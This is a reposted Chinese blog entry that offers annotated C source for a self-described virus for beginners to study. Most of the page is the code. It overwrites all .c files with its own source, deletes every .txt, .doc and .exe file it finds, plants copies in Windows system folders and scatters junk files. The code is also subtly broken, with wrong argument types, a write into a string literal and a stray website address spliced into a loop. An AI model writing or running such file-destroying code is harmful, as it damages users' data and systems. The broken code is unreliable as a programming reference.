您的位置:首页 > 编程语言 > C语言/C++

C语言开发病毒程序

2012-12-21 19:54 260 查看
http://blog.sina.com.cn/s/blog_6808495c0100wanr.html

语言开发病毒程序实例C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。

C语言编写的病毒程序源代码 - 给C语言初学者: 复制内容到剪贴板 代码:C语言开发病毒程序

//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
{
FILE *in,*out; //定义文件指针
in = fopen(infile,"r"); //打开文件
out = fopen(outfile,"w"); //建立文件
while (!feof(in)) //判断文件是否已结束
{www.ad0.cn
fputc (fgetc(in),out); //从in读一字符到out
}
fclose (in); //关闭in文件
fclose (out);//关闭out文件
return 0; //返回
}
int MakeRubbish (void)
{
int i; //声明整形变量i
FILE *fp; //文件指针fp
char *path; //路径指针
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
char *addtion = ":\\";
for (i = 0; i<5; i++) //循环4次
{
char tempname[] = "XXXXXX" ; //随机名字
NewName = mktemp(tempname);  //建立唯一的文件名
fp = fopen(NewName,"w");  //创建文本文件
fclose (fp); //关闭fp文件流
}
path = strcat(disk[getdisk()],addtion); //得到根编号
chdir(path); //改变工作目录
for (i = 0; i<5; i++) //循环次数
{
char tempname[] = "XXXXXX"; //串赋入数组
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w");    //创建新文件
fclose (fp); //关闭文件
}
return 0; //返回
}
int CreatEXE (void)
{
int i; //整形变量
char *path; //字符指针
char *s[2] = {         //重要目录
"C:\\WINDOWS\\system32\\loveworm.exe",
"C:\\WINDOWS\\virusssss.com"
};
for ( i = 0; i < 2; i++) //循环控制次数
{
open(s, 0x0100,0x0080); //打开文件写入数据
copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据
}
return 0;
}
int Remove (void) //去处
{
int done; //定义整形变量
int i;
struct ffblk ffblk; //声明结构体变量ffblk
char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组
for (i = 0; i < 3; i++)//控制循环次数
{
done = findfirst(documenttype,&ffblk,2);//搜索目录
while (!done) //查找成功返回0
{
remove (ffblk.ff_name); //删除一个文件
done = findnext(&ffblk);
}
}
return 0;//返回
}
int Breed (void) //养殖模块
{
int done;//整形变量
struct ffblk ffblk; //声名结构变量
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
return 0;
}
int main (void) //程序入口地址
{
printf ("液虫病毒,by:仙剑逍遥.\n");
Breed (); //养殖病毒
Remove (); //去处
CreatEXE ();
printf ("您能告诉我您的名字?\n");
printf ("现在麻烦您输入您的名字!\n");
MakeRubbish (); //调用子函数
getchar ();
clrscr (); //清除屏幕
system ("cmd");
getch ();
return 0;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: